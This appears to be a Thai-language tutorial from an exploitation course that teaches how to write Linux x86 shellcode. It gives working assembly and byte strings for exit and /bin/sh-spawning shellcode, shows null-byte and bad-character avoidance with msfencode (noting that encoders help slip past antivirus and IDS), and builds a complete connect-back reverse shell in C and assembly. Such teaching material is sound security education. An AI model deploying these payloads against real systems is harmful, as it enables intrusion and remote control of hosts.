ในหัวข้อ "Buffer Overflow ให้โปรแกรม spawn shell" นั้น ผมได้ให้ shellcode สำหรับ spawn shell ซึ่งคงเห็นกันแล้วว่าหน้าตา shellcode เป็นยังไง (มันก็คือ machine code นั่นแหละ) และในหัวข้อนี้ ผมจะอธิบายวิธีการเขียน shellcode บน Linux x86 (หัวข้อนี้จะต้องใช้ assembly เกือบหมดนะครับ ดังนั้นผมเลยเขียนเป็น nasm syntax ไว้ด้วยใน ex_07.tgz เพื่อความถนัดของแต่ละคน)
การทำงานของแต่ละ process โดยปกติจะทำงานอยู่ใน user mode และเมื่อโปรแกรมต้องการเรียกใช้งานที่เกี่ยวกับ Operating System จะต้องทำการเรียก System Call (เช่น fork, execve, read, write) โดยจะมีการส่ง parameters เพื่อบอกว่าต้องการทำอะไร คล้ายๆ กับการเรียก function แล้ว process นั้นจะสลับการทำงานไปอยู่ใน kernel mode และสลับกับมาทำงานใน user mode เมื่อทำงานเสร็จ (เหมือนจบ function) หรืออาจจะกล่าวได้ว่า System Calls คือ functions สำหรับเรียกใช้งาน OS
โดยปกติการเรียก system call จะทำการเรียกผ่าน C library (libc) ซึ่งทำหน้าที่เป็น wrapper เพื่อให้ code เรา port ไป compile บน OS อื่นได้ (วิธีการเรียก system call ของแต่ละ OS ไม่จำเป็นต้องเหมือนกัน) สำหรับ Linux นั้น system call จะเป็นหมายเลขเพื่อกำหนดว่าจะให้ทำอะไร ซึ่งสามารถดูได้ที่ไฟล์ /usr/include/asm/unistd.h (สำหรับคนใช้ Ubuntu 10.04 จะเห็นในไฟล์มีแค่ include ไฟล์อื่น เนื่องด้วยผมอธิบายเฉพาะ 32 bit ดังนั้นให้ใช้ไฟล์ unistd_32.h) แต่ถ้าใครชอบดู online ก็ดูได้ที่ http://syscalls.kernelgrok.com/ โดยผมได้เอาส่วนที่ผมจะพูดถึงต่อไปมาแสดงไว้ข้างล่าง
#define __NR_restart_syscall 0 #define __NR_exit 1 #define __NR_fork 2 #define __NR_execve 11 #define __NR_setuid 23 #define __NR_setgid 46 #define __NR_geteuid 49 #define __NR_dup2 63 #define __NR_setreuid 70 #define __NR_socketcall 102 #define __NR_exit_group 252
ส่วนวิธีการเรียกใช้ system call ด้วย assembly คือใส่หมายเลขของ system call ไว้ที่ register eax และ arguments ต่างๆ ไว้ใน register ebx, ecx, edx, esx, edi, ebp ตามลำดับ แต่ถ้า arguments มีเกิน 6 ตัวก็ให้ใส่ address ของ argument array ไว้ที่ ebx หลังจากกำหนดค่าต่างๆใน register แล้วก็ใช้ interrupt หมายเลข 0x80 และ้ผลลัพธ์ของ system call จะ return กลับมาที่ eax
พูดถึง system call ไปพอสมควร ตอนนี้เรามาเข้าเรื่อง shellcode กันดีกว่า shellcode คือ code ที่เราต้องการให้ทำงาน เมื่อเราสามารถเปลี่ยนแปลงให้โปรแกรมไปทำงานที่ code ของเราได้ โดยสิ่งสำคัญของ shellcode ควรมีขนาดเล็ก เพราะโดบปกติขนาดของ memory ที่เราสามารถ inject code เข้าไปนั้นมีขนาดจำกัด และความแตกต่างที่สำคัญของ shellcode กับโปรแกรมปกติ คือ ถ้าต้องมีการใช้ส่วนที่เป็นข้อมูล ก็ต้องอยู่ใน shellcode ของเรา ไม่มีการแบ่งเป็น section เหมือนโปรแกรมทั่วไป
Exit Shellcode
เรามาดูตัวอย่างแรกกันดีกว่า (ex_07_1.c) เพื่อเขียน exit system call อย่างที่ผมได้บอกว่า libc เป็น wrapper ดังนั้นวิธีหนึ่งในการดูวิธีเรียก system call คือเขียน code เป็น C แล้ว compile ด้วย -static option หลังจากนั้นใช้ gdb เพื่อดูว่า assembly นั้นเขียนอย่างไร
/* gcc -static -o ex_07_1 ex_07_1.c */ #include <stdlib.h> int main(int argc, char **argv) { exit(1); }
$ gdb -q ./ex_07_1 Reading symbols from /home/worawit/tutz/ch07/ex_07_1...(no debugging symbols found)...done. (gdb) disass main ... # ไล่ไปเรื่อยๆ จนเจอ function _exit ใน function __run_exit_handlers (gdb) disas _exit Dump of assembler code for function _exit: 0x0804f700 <+0>: mov 0x4(%esp),%ebx # ใส่ argument ที่ 1 (exit value) ไว้ที่ ebx 0x0804f704 <+4>: mov $0xfc,%eax # ใส่หมายเลข system call exit_group ไว้ที่ eax 0x0804f709 <+9>: int $0x80 # system call 0x0804f70b <+11>: mov $0x1,%eax # ใส่หมายเลข system call exit ไว้ที่ eax (ebx ใช้ค่าเดิม) 0x0804f710 <+16>: int $0x80 # system call 0x0804f712 <+18>: hlt End of assembler dump.
อีกวิธี เพื่อดูว่ามีการเรียก system call อะไร ด้วย argument อะไรบ้าง คือคำสั่ง strace
$ strace ./ex_07_1 execve("./ex_07_1", ["./ex_07_1"], [/* 20 vars */]) = 0 ... exit_group(1) = ?
จะเห็นว่า ผลที่ได้จาก gdb และ strace นั้น แสดงว่า libc ใช้ exit_group system call แล้ว exit_group คืออะไร และทำไมถึงไม่ใช่ exit system call ละ exit_group system call คือคำสั่งที่ใช้สำหรับ exit ทุก thread แต่ exit system call จะออกเฉพาะ thread ของตัวเองเท่านั้น เนื่องด้วย libc เป็น wrapper เพื่อความสะดวกของ programmer จึงได้เขียนให้ exit() function นั้นเรียก exit_group
หลังจากเห็นเกี่ยวกับ exit system call มาพอสมควร เรามาเริ่มเขียนกันใน assembly กันดีกว่า โดยผมจะใช้ AT&T syntax นะครับ ซึ่งจะได้ดังนี้ (ex_07_2.s)
.data .text .globl _start _start: # exit(0) movl $0x1,%eax movl $0,%ebx int $0x80
ใช้คำสั่ง as เพื่อ compile เป็น machine code ใน object file และใช้คำสั่ง objdump เพื่อดู machine code
$ as -o ex_07_2.o ex_07_2.s $ objdump -d ex_07_2.o ex_07_2.o: file format elf32-i386 Disassembly of section .text: 00000000 <_start>: 0: b8 01 00 00 00 mov $0x1,%eax 5: bb 00 00 00 00 mov $0x0,%ebx a: cd 80 int $0x80
จะได้ shellcode คือ
\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80
โดยเราสามารถทดสอบ shellcode ของเราได้โดยใช้ C code ที่เป็น template ที่เตรียมไว้ไฟล์ testshellcode.c (ไม่แสดง code นะครับ) แต่จะเห็นว่ากว่าจะได้ shellcode เราต้องทำทีละ command และค่อย copy machine code ออก ผมจึงได้เขียน shell script สำหรับทำทั้งหมดไว้แล้ว (build-sc.sh และ clean-sc.sh)
$ build-sc.sh ex_07_2 Compiling ex_07_2.s to ex_07_2.o Extracting shellcode from ex_07_2.o to ex_07_2.sc \xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80 Creating ex_07_2.sctest.c Compiling ex_07_2.sctest.c to ex_07_2.sctest $ ls ex_07_2* ex_07_2.o ex_07_2.s ex_07_2.sc ex_07_2.sctest ex_07_2.sctest.c
วิธี check ว่า shellcode เราเรียก system call ถูกต้องคือใช้ strace จะเห็นว่ามีการเรียก exit system call ตามนี้
$ strace ./ex_07_2.sctest execve("./ex_07_2.sctest", ["./ex_07_2.sctest"], [/* 20 vars */]) = 0 ... _exit(0) = ?
ได้แล้ว exit shellcode แต่จะเห็นว่าตอนนี้ shellcode ของเรามีขนาด 12 bytes และที่สำคัญคือมี \x00 ซึ่งปัญหา buffer overflow ส่วนมากเกิดจาก function พวก strcpy() ที่จะหยุด copy เมื่อเจอ \x00 ทำให้ไม่สามารถ copy shellcode ของเราไปทั้งหมด ดังนั้นสิ่งที่เราควรจะแก้คือทำให้ไม่มี \x00 ซึ่งอาจทำการแก้ assembly code ได้ดังนี้ (ex_07_3.s)
.data .text .globl _start _start: # exit(0) xorl %eax,%eax # ใช้ xor เพื่อกำหนดค่า eax เป็น 0 xorl %ebx,%ebx # ใช้ xor เพื่อกำหนดค่า ebx เป็น 0 movb $1,%al # กำหนดค่า eax เป็น 1 สามารถใช้ movb ลงใน al เพราะ eax เป็น 0 แล้ว และทำให้ไม่ให้มี \x00 int $0x80
ซึ่งเมื่อ compile และดูด้วย assembly code ด้วย objdump จะได้
$ build-sc-gas.sh ex_07_3 ... Extracting shellcode from ex_07_3.bin to ex_07_3.sc \x31\xc0\x31\xdb\xb0\x01\xcd\x80 ... $ objdump -d ex_07_3.o ... 00000000 <_start>: 0: 31 c0 xor %eax,%eax 2: 31 db xor %ebx,%ebx 4: b0 01 mov $0x1,%al 6: cd 80 int $0x80
จะเห็นว่า exit shellcode ใหม่ของเรานั้นไม่มี \x00 และมีขนาด 8 bytes แต่ถ้าเราไม่สนใจ exit code คือค่า ebx เป็นอะไรก็ได้ เราก็สามารถที่จะเอาคำสั่ง xor ebx ออกได้ ก็จะได้ shellcode ขนาด 6 bytes
Bad Characters (badchars)
badchars คือตัวอักษรที่ใช้ไม่ได้ใน payload ซึ่งส่วนมากจะมีอยู่ 2 สาเหตุคือใส่ไปแล้วจะทำให้โปรแกรมรับข้อมูลเราได้ไม่หมด กับโดนเปลี่ยนเป็นตัวอักษรอื่น เช่นถ้า code มีปัญหาที่ str*() ใน payload ของเราจะไม่สามารถที่จะใช้ตัวอักษร \x00 ได้ ตัวอักษร \x00 ก็จะเป็น badchar
สำหรับตัวอย่างและโจทย์ที่ผมให้ เราสามารถรู้ badchars จาก code แต่โดยปกติวิธีการหา badchars ในโปรแกรมใหญ่ๆ และโปรแกรมที่ไม่มี source code จะทำโดยจากส่งค่าตั้งแต่ 0x00 ถึง 0xff แล้วทำการเปรียบเทียบกับค่าใน memory หลังจากที่โปรแกรมรับข้อมูลไปแล้ว
ในหัวข้อนี้ เวลาเขียน shellcode ผมจะสมมติว่า badchar คือ \x00 ตัวเดียว ยกเว้นผมจะระบุไว้ และเราจะทำการหลีกเลี่ยง badchars แบบ manual ด้วยวิธีการเปลี่ยนคำสั่ง assembly แต่การทำงานยังเหมือนเดิม สำหรับหัวข้อหลังๆ ที่ต้องใช้ payload ที่มีความซับซ้อนมากขึ้น ผมจะใช้ msfpayload กับ msfencode เพื่อสร้าง shellcode และหลีกเลี่ยง badchars
ตัวอย่างสำหรับการใช้ msfencode เพื่อเลี่ยง badchars โดยสมมติว่า badchar คือ \x00 กับ \xc0 เราสามารถทำได้ดังนี้
$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' | msfencode -b '\x00\xc0' -t c [*] x86/shikata_ga_nai succeeded with size 36 (iteration=1) unsigned char buf[] = "\xdd\xc1\xb8\xfa\x64\xfa\x88\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1" "\x03\x83\xc2\x04\x31\x42\x13\x03\xb8\x77\x18\x7d\x0d\xb8\xed" "\xa5\xdd\x39\xc3\xda";
จะเห็นว่า shellcode ใหม่นั้น ไม่มีตัวอักษร \x00 กับ \xc0 และถ้าลองเอาไปทดสอบ จะเห็นว่าได้ผลเหมือนเดิม ซึ่งประโยชน์ของ encoder นอกจากใช้หลีกเลี่ยง badchars แล้วยังสามารถช่วย bypass AV กับ IDS ได้ เพราะการทำงานของ encoder จะคล้ายๆ กับการทำงานของพวก protector/packer
Shellcode สำหรับ Spawning Shell
คราวนี้ก็มาถึง shellcode ที่ผมเคยให้ไป แต่เพื่อไม่ให้ยาว ผมไม่เขียนภาษา C ให้ดูนะครับ argument ของ execve system call จะตรงกับ execve ใน libc ทั้งหมด โดยเป้าหมายแรกที่เราต้องการคือ ให้ shellcode รันเหมือนกับคำสั่ง execve("/bin/sh", { "/bin/sh", 0}, 0) ซึ่งต้องมีกำหนดค่า register ต่อไปนี้
- eax เป็น 0xb (system call number)
- ebx (argument ที่ 1) เป็น address ของ "/bin/sh"
- ecx (argument ที่ 2) เป็น address ของ { "/bin/sh", 0 }
- edx (argument ที่ 3) เป็น 0
ถ้าใครลองเขียนเอง จะเห็นความแตกต่างจาก exit shellcode คือ execve ต้องการ string "/bin/sh" และต้องการ array of pointers ที่ชี้ไป string "/bin/sh" กับ NULL วิธีหนึ่งคือนำ string ไปต่อท้าย shellcode แต่ปัญหาต่อไป คือเราจะรู้ address ของ string เราได้ยังไง
โดยปกติ เพื่อให้โปรแกรม run shellcode ของเรา เราจะต้อง overflow เพื่อเปลี่ยน eip ชี้ไปยัง shellcode ของเรา และยังจำได้มั้ยครับว่าคำสั่ง call ใน assembly เปรียบเสมือน "push eip" แล้ว "jmp addr" ดังนั้นถ้าเราใช้ call หลังจากที่ eip ชี้ไปที่ shellcode ของเรา ใน stack ก็จะมีค่า address ของหลังคำสั่ง call ทำให้เราสามารถเอาค่าออกมาได้จาก stack ด้วยคำสั่ง pop ซึ่งจะได้ assembly คร่าวๆ คือ
jmp binsh # กระโดดไปส่วนของ string ก่อน เพื่อหา address shellcode: pop %ebx # pop เอา address ของ "/bin/sh" ไว้ใน ebx (ค่า ebx เป็นที่เราต้องการแล้ว) # ... กำหนดค่าต่างๆ ของ registers binsh: call shellcode # เพื่อ push eip ลงใน stack .asciz "/bin/sh" # string "/bin/sh" ไว้หลัง call เพื่่อให้ saved eip ชี้มาที่ address นี้พอดี
ได้ argument แรกแล้ว ต่อไป argument ที่ 2 คือ array of pointers ที่ชี้ไป { "/bin/sh", 0 } (ดูรูปประกอบ) วิธีหนึ่งคือสร้างต่อท้ายหลัง string "/bin/sh" โดย 4 bytes แรกจะเก็บ address ของ "/bin/sh" และ 4 bytes ถัดไปเก็บค่า 0 ทำให้ได้ assembly ตามนี้ (ex_07_4.s)
.data .text .globl _start _start: # execve("/bin/sh", {"/bin/sh",0}, 0) jmp binsh shellcode: pop %ebx xorl %eax,%eax # set eax เป็น 0 ก่อน เพื่อนำค่า 0 ไปใช้ movb %al,0x7(%ebx) # ให้แน่ใจว่า string "/bin/sh" ลงท้ายด้วย NULL leal 0x8(%ebx),%ecx # กำหนดค่า ecx (arg2) ไว้ที่หลัง string "/bin/sh" movl %ebx,(%ecx) # ใส่ address ของ "/bin/sh" ไว้ใน array movl %eax,0x4(%ecx) # ใส่ 0 ไว้ใน array xorl %edx, %edx # set edx เป็น 0 (arg 3) movb $0xb,%al # ใส่ system call number int $0x80 binsh: call shellcode .asciz "/bin/sh"
เมื่อเราลอง compile และทดสอบดูจะได้ผลตามที่เราต้องการ ถ้าดูขนาดจะเห็นว่า shellcode นี้มีขนาด 34 bytes แต่ขนาดของ shellcode ที่ผมเคยให้ไว้มีขนาดเพียงแค่ 24 bytes ซึ่งใช้วิธีการสร้าง string โดย push ลงใน stack และใช้ stack ในการสร้าง array of pointers (ดูรูปข้างล่างประกอบ) แต่การ push ลง stack จะต้องทำทีละ 4 bytes และเพื่อจะให้ไม่มี \x00 เราจะใช้ "//bin/sh" แทนเพื่อให้มีขนาด 8 bytes และได้ผลเหมือนเดิม โดยเขียนเป็น assembly ได้ดังนี้ (ex_07_5.s)
.data .text .globl _start _start: # execve("//bin/sh", {"//bin/sh",0}, 0) xorl %eax,%eax # set eax เป็น 0 push %eax # ใส่ NULL for "//bin/sh" push $0x68732f6e # n/sh push $0x69622f2f # //bi movl %esp,%ebx # set ebx ให้เป็น address ของ "/bin/sh" (top of stack) #xorl %edx,%edx # set edx เป็น 0 (ใช้ 2 bytes) cltd # อีกวิธีในการ set edx เป็น 0 โดยใช้ 1 bytes ใช้คำสั่งนี้ได้เพราะ eax เป็น 0 (สำหรับ nasm ต้องใช้ cdq) push %edx # ใส่ NULL สำหรับ array of pointers ตัวที่สอง push %ebx # ใส่ address ของ "/bin/sh" สำหรับ array of pointers ตัวแรก movl %esp,%ecx # กำหนด ecx ให้เป็น address ของ array of pointers (top of stack) movb $0xb,%al # กำหนด execve system call int $0x80
ถ้าใครทำ "Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 2)" จะเห็นว่าผมได้ให้ shellcode อีกอันหนึ่ง ที่ไม่มี badchar 0x0b เพื่อให้ scanf() function สามารถรับ input ได้หมด ถ้าเราลองใช้ objdump ดูจะเห็นว่าคำสั่งที่มีปัญหาคือ "movb $0xb,%al" โดยวิธีที่ผมเลี่ยงการใช้ 0x0b คือใส่ค่า 0x7b เข้าไปก่อน แล้ว xor กับ 0x70 ตามนี้ (แสดงเฉพาะที่แก้นะครับ)
movb $0x7b,%al xorb $0x70,%al
ก่อนจะจบ shellcode นี้ เรามาทำให้มันเล็กลงกันก่อนดีกว่า ถ้าเราอ่าน man จะได้ว่า argument ตัวที่ 2 ของ execve คือข้อมูลที่จะส่งผ่านไปที่โปรแกรมใหม่ โดยจะเป็น argv แสดงว่าถึงแม้ว่าเราใส่ค่าอื่นไป โปรแกรมใหม่ก็จะยังเป็น /bin/sh เพียงแค่ argv จะเปลี่ยนไป ดังนั้นเราสามารถสั่งเพียง execve("/bin//sh", 0, 0) ก็ได้ การทำงานยังคงเหมือนเดิม (แต่ถ้าใช้ ps ดู จะเห็นชื่อเปลี่ยนไป) และเมื่อเขียน assembly ใหม่ จะได้เป็น (ex_07_6.s)
.data .text .globl _start _start: # execve("/bin//sh", 0, 0) xorl %ecx,%ecx # set ecx เป็น 0 push %ecx # NULL สำหรับ "/bin//sh" push $0x68732f2f # //sh push $0x6e69622f # /bin movl %esp,%ebx # set ebx เป็น address ของ "/bin//sh" (top of stack) leal 0xb(%ecx),%eax # ใช้ lea แทน xorl แล้ว movb จะประหยัดได้ 1 byte cltd # set edx เป็น 0 int $0x80
เมื่อ compile code นี้ เราจะได้ shellcode สำหรับ spawning shell ขนาด 21 bytes
Shellcode สำหรับ Connect Back Shell
มาถึง shellcode ตัวสุดท้ายที่เราจะมาเขียนกัน คือ reverse shell โดยจะเขียนสำหรับ IPv4 เท่านั้น และให้ต่อกลับมาที่ 127.0.0.1:5555
ก่อนจะเริ่มเขียน assembly เรามาดู code ที่เขียนด้วยภาษา C กันก่อน (ex_07_7.c) เพื่อจะได้เข้าใจว่าจะต้องมีการเรียกคำสั่งอะไรบ้าง
/* gcc -static -o ex_07_7 ex_07_7.c */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> #include <string.h> int main(int argc, char **argv) { int sk; struct sockaddr_in sk_addr; sk = socket(PF_INET, SOCK_STREAM, 0); if (sk == -1) return 1; memset(&sk_addr, 0, sizeof(sk_addr)); sk_addr.sin_family = AF_INET; sk_addr.sin_port = 0xb315; // htons(5555) sk_addr.sin_addr.s_addr = 0x0100007f; // inet_addr("127.0.0.1") if (connect(sk, (struct sockaddr *)&sk_addr, sizeof(struct sockaddr)) == -1) return 1; dup2(sk, 0); dup2(sk, 1); dup2(sk, 2); execve("/bin/sh", 0, 0); }
สำหรับคนที่ไม่เคยเขียนพวก socket (น่าจะงง) ผมขออธิบายสั้นๆ ละกัน ในบรรทัดที่ 15 ใช้สำหรับสร้าง socket ขึ้น สำหรับ Linux socket ที่ได้จะเป็น file descriptor อันหนึ่ง เหมือนพวก stdin, stdout แต่สามารถนำไปใช้ใน function ที่เกี่ยวกับ network ได้ ต่อมาบรรทัดที่ 19-22 คือเตรียม parameter สำหรับ connect() function ว่าจะต่อไปที่ IP ไหน port อะไร ให้สังเกตว่า network byte order ของค่าที่เป็นตัวเลขจะเป็น big endian เช่น port 5555 จะมีค่าเป็น 0x15b3 แต่เก็บใน memory ของ x86 เป็น 0xb315 ดังนั้นเราต้องใส่ 0xb315 เพื่อให้เก็บใน memory เป็น 0x15b3 หลังจากนั้นบรรทัดที่ 24 คือเชื่อมต่อไปที่ 127.0.0.1:5555 และเมื่อต่อได้แล้ว บรรทัดที่ 27-29 คือเปลี่ยน stdin, stdout, stderr ใช้เป็น file descriptor ของ socket และสุดท้ายบรรทัดที่ 31 ทำการเปลี่ยน process ด้วย execve เป็น /bin/sh ซึ่ง file descriptor ยังคงเดิม ทำให้เวลา shell รับคำสั่ง จะรับจากที่เราส่งข้อมูลไป และเวลาแสดงผลก็จะเป็นส่งข้อมูลมาหาเรา
หลังจาก compile ถ้าต้องการทดสอบ ต้องเปิดอีก terminal หนึ่ง แล้วพิมพ์คำสั่ง "nc -nvvl 5555" หลังจากนั้นค่อยรันโปรแกรมที่ compile แล้ว เมื่อเชื่อมต่อแล้ว เราสามารถพิมพ์คำสั่งจาก terminal ที่รัน nc ไว้ แต่จะไม่เห็น shell prompt
เมื่อทดสอบเห็นว่าโปรแกรมทำงานได้แล้ว ก็มาดูกันว่าโปรแกรมนี้ใช้ system call อะไรบ้างที่จำเป็นต่อการเชื่อมต่อ
$ strace -v ./ex_07_7 ... socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 connect(3, {sa_family=AF_INET, sin_port=htons(5555), sin_addr=inet_addr("127.0.0.1")}, 16) = 0 dup2(3, 0) = 0 dup2(3, 1) = 1 dup2(3, 2) = 2 execve("/bin/sh", [0], [0]) = 0 ...
ถ้าเรามาลองไล่ดู system call number จะเจอเพียงแค่ dup2 กับ execve แต่จะหา socket กับ connect ไม่เจอ ซึ่งวิธีที่ทำรู้วิธีเรียก (ถ้าจะทำเอง) คือ อ่าน Linux code หรือไล่ assembly ดูว่า libc เรียกได้อย่างไร แต่เพื่อจะได้ไม่ยาวเกินผมเขียนวิธีเรียก system call ที่เกี่ยวกับ socket เลยละกัน
วิธีการใช้ system call สำหรับ socket นั้นจะใช้ __NR_socketcall หมายเลข 102 (0x66) โดยใส่ไว้ที่ eax และจะมี argument แค่ 2 ตัวเท่านั้น โดย ebx ระบุว่าจะใช้ socket command ไหน ซึ่งสามารถดูได้จากไฟล์ /usr/include/linux/net.h (ผมเอาเฉพาะที่ใช้มาแสดงไว้ข้างล่าง)
// from /usr/include/linux/net.h #define SYS_SOCKET 1 /* sys_socket(2) */ #define SYS_BIND 2 /* sys_bind(2) */ #define SYS_CONNECT 3 /* sys_connect(2) */
ส่วน ecx คือ array ของ argument โดย argument ที่ใช้นั้น จะเป็นไปตาม argument ของ libc เลย ถ้าเราลอง debug โปรแกรมดูใน socket() function จะพบว่า
$ gdb -q ./ex_07_7 Reading symbols from /home/worawit/tutz/ch07/ex_07_7...(no debugging symbols found)...done. (gdb) b socket Breakpoint 1 at 0x8050750 (gdb) r Starting program: /home/worawit/tutz/ch07/ex_07_7 Breakpoint 1, 0x08050750 in socket () (gdb) disass Dump of assembler code for function socket: => 0x08050750 <+0>: mov %ebx,%edx # edx ไม่เกี่ยว แค่เก็บค่า ebx ไว้ใน edx ก่อน 0x08050752 <+2>: mov $0x66,%eax # ใช้ socketcall 0x08050757 <+7>: mov $0x1,%ebx # กำหนด ebx เป็น 1 คือ SYS_SOCKET 0x0805075c <+12>: lea 0x4(%esp),%ecx # โหลด address ของ arguments ไว้ที่ ecx 0x08050760 <+16>: int $0x80 0x08050762 <+18>: mov %edx,%ebx # restore ค่า ebx 0x08050764 <+20>: cmp $0xffffff83,%eax 0x08050767 <+23>: jae 0x8051aa0 <__syscall_error> 0x0805076d <+29>: ret End of assembler dump. (gdb) x/4x $esp+4 # ลองดูค่า arguments ต่างๆ 0xbffff6e0: 0x00000002 0x00000001 0x00000000 0x08048a42
และถ้าเราหาค่าที่ถูก define ไว้ใน header files ด้วยคำสั่ง grep
# working directory คือ /usr/include $ grep -wR PF_INET * bits/socket.h:#define PF_INET 2 /* IP protocol family. */ bits/socket.h:#define AF_INET PF_INET $ grep -wR SOCK_STREAM * bits/socket.h: SOCK_STREAM = 1, /* Sequenced, reliable, connection-based ... $ grep -wR IPPROTO_IP * linux/in.h: IPPROTO_IP = 0, /* Dummy protocol for TCP */ ...
จะเห็นว่าค่าที่หาได้ ตรงกับ argument ที่เราดูด้วย gdb คือ PF_INET เป็น 2, SOCK_STREAM เป็น 1 และ IPPROTO_IP เป็น 0
และข้อมูลที่สำคัญสำหรับ connect คือโครงสร้างข้อมูลของ struct sockaddr กับ struct sockaddr_in สำหรับ IPv4 โดยผมเอามาจาก http://www.retran.com/beej/sockaddr_inman.html
struct sockaddr { unsigned short sa_family; // address family, AF_xxx char sa_data[14]; // 14 bytes of protocol address }; struct sockaddr_in { short sin_family; // e.g. AF_INET, AF_INET6 unsigned short sin_port; // e.g. htons(3490) struct in_addr sin_addr; // see struct in_addr, below char sin_zero[8]; // zero this if you want to };
เมื่อเรารู้วิธีการเรียก กับค่าต่างๆ ที่ต้องใส่ทั้งหมด ก็ถึงเวลาเขียน assembly กันแล้ว แต่คราวนี้ผมจะแสดงแบบที่สั้นที่สุดที่ผมคิดได้เลย และพวก \x00 ตรง IP กับ port ผมจะไม่สนใจนะครับ ซึ่งจะได้ assembly ดังนี้ (ex_07_8.s) (อาจจะเร็วไปนิด ค่อยๆ ไล่ และคิดตามนะครับ)
.data .text .globl _start _start: ################################## # socket(PF_INET /* 2 */, SOCK_STREAM /* 1 */, IPPROTO_IP /* 0 */) xorl %ebx,%ebx # set ebx เป็น 0, ใช้ ebx เพราะเราต้องการให้มีค่าเป็น 1 และ argument ที่เราต้องใส่คือ 0,1,2 ตามลำดับ ทำให้เราสามารถใช้ ebx สำหรับ argument ขณะเพิ่มค่า ebx leal 0x66(%ebx),%eax # set syscall number โดยใช้ lea จาก ebx push %ebx # เอาค่า 0 ลงใน stack สำหรับ socket argument ตัวสุดท้าย inc %ebx # เพิ่มค่า ebx ไป 1 จะได้ค่า ebx เป็นที่เราต้องการ push %ebx # เอาค่า 0 ลงใน stack สำหรับ socket argument ตัวที่สอง push $0x2 # ใช้ push imm แทนเพราะ ebx เป็นค่าที่ถูกต้องแล้ว movl %esp,%ecx # set ecx เป็น array of arguments int $0x80 xchg %eax,%ebx # เก็บค่า socket fd ไว้ที่ ebx สำหรับ dup2 syscalls, ใช้ xchg แทน mov เพื่อประหยัดจำนวน byte # ตอนนี้ eax มีค่าเป็น 1 ส่วน ebx เก็บ socket fd ไว้ ################################### # dup2() to replace stdin, stdout, stderr # เอา dup2 มาทำตรงนี้ เพราะถ้าทำ connect ค่า socket fd ต้องไปเก็บที่ register ตัวอื่นก่อน # ถ้าทำตรงนี้ ค่า ebx ไม่จำเป็นต้อง set เพราะจากคำสั่ง xchg ข้างบน pop %ecx # ตอนนี้ top of stack คือ 2, เอามาใช้สำหรับ stderr dup_loop: # loop จาก 2..0 เพื่อประหยัดคำสั่ง movb $0x3f, %al # กำหนด dup2 system call number int $0x80 dec %ecx # ลบค่า ecx เพื่อทำ stdout กับ stdin jns dup_loop # หยุดทำเมื่อ ecx เป็นลบ # dup2 syscall จะ return หมายเลข fd ที่ถูก copy ไว้ใน eax # ดังนั้น ถึงจุดนี้จะได้ค่า # - eax เป็น 0 # - ebx เป็น socket fd # - ecx เป็น -1 (0xffffffff) #################################### # connect(sk, sockaddr, len) # จากการทดสอบ connect syscall จะสนใจเฉพาะค่า sin_family, sin_port, sin_addr ใน struct sockaddr_in เท่านั้น # ส่วนค่าใน sin_zero จะเป็นอะไรก็ได้ # และ len argument จะเป็นตัวเลขอะไรก็ได้ที่ >= 16 movb $0x66,%al # set system call number # เตรียม sockaddr struct # เพราะ sin_zero เป็นอะไรก็ได้ ทำให้สามารถใช้ค่าที่อยู่ใน stack อยู่แล้วได้ push $0x0100007f # push ค่า ip address (127.0.0.1) สำหรับ sin_addr push $0xb3150002 # push ค่า port (5555) สำหรับ sin_port และค่า AF_INET (2) สำหรับ sin_family # สำหรับคนที่ต้องการให้ไม่มี \x00 จากคำสั่ง push ข้างบน วิธีหนึ่ง (แต่ทำได้ไม่ทุกกรณี) คือใช้ xor กับ ecx (ข้างล่าง ถ้าต้องการลองก็เอา comment ออก) #push %ecx #xorl $0xfeffff80,(%esp) #xorl $0x4ceafffd,%ecx #push %ecx movl %esp, %ecx # กำหนดค่า ecx เป็น address ของ sockaddr (top of stack) # เตรียม array of arguments (ecx) push %eax # ใช้ eax (0x66) สำหรับ len เนื่องจากมากกว่า 16 push %ecx # address ของ sockaddr push %ebx # socket fd (จริงแล้วจะใช้ค่า 0,1,2 ก็ได้เพราะเราได้สั่ง dup2() ไปแล้ว) movl %esp,%ecx #movb $0x03,%ebx # ถ้าเราใช้ movb อาจจะไม่ได้ทุกกรณี เพราะ fd ที่ได้จาก socket() อาจมีค่ามากกว่า 255 push $0x03 pop %ebx # ใช้ push แล้ว pop จะใช้ 3 bytes แต่ถ้าใช้ xor แล้ว movb จะใช้ 4 bytes int $0x80 # ถ้าต่อสำเร็จ eax จะเห็น 0 # Note: ไม่มีการตรวจสอบผลลัพธ์ของการ connect ################################### # execve("/bin//sh", 0, 0) cdq # to make edx 0 push %edx push $0x68732f2f push $0x6e69622f movl %esp, %ebx xorl %ecx, %ecx movb $0x0b, %al int $0x80
เมื่อ compile แล้วทดสอบจะได้ผลเหมือนกับที่เขียนด้วยภาษา C (ทดสอบเองนะครับ) สำหรับคนที่อยากฝึกเพิ่มเติม ก็แนะนำให้ลองเขียน setreuid() ดู
วิธี Disassemble Shellcode
ก่อนจะจบ ผมมีแถมให้ เพราะในหลายๆ ครั้งที่อาจจะต้องมีการวิเคราะห์การทำงานของ shellcode ที่ได้มา ดังนั้นเรามาดูคำสั่งการ disassemble shellcode ของ x86 โดยผมจะใช้ exit shellcode จากตัวอย่าง ex_07_3.s
วิธีแรก คือใช้คำสั่ง x86dis โดยคำสั่งนี้สามารถเลือก syntax ได้ ถ้าใครต้องการแบบ intel ก็เปลี่ยนจาก att เป็น intel
$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' | x86dis -e 0 -s att 00000000 31 C0 xor %eax, %eax 00000002 31 DB xor %ebx, %ebx 00000004 B0 01 mov $0x01, %al 00000006 CD 80 int $0x80
วิธีที่สอง ใช้คำสั่ง objdump เนื่องด้วย objdump รับ input จาก stdin ไม่ได้ ดังนั้นจะต้องมีการเขียนลงไฟล์ก่อน
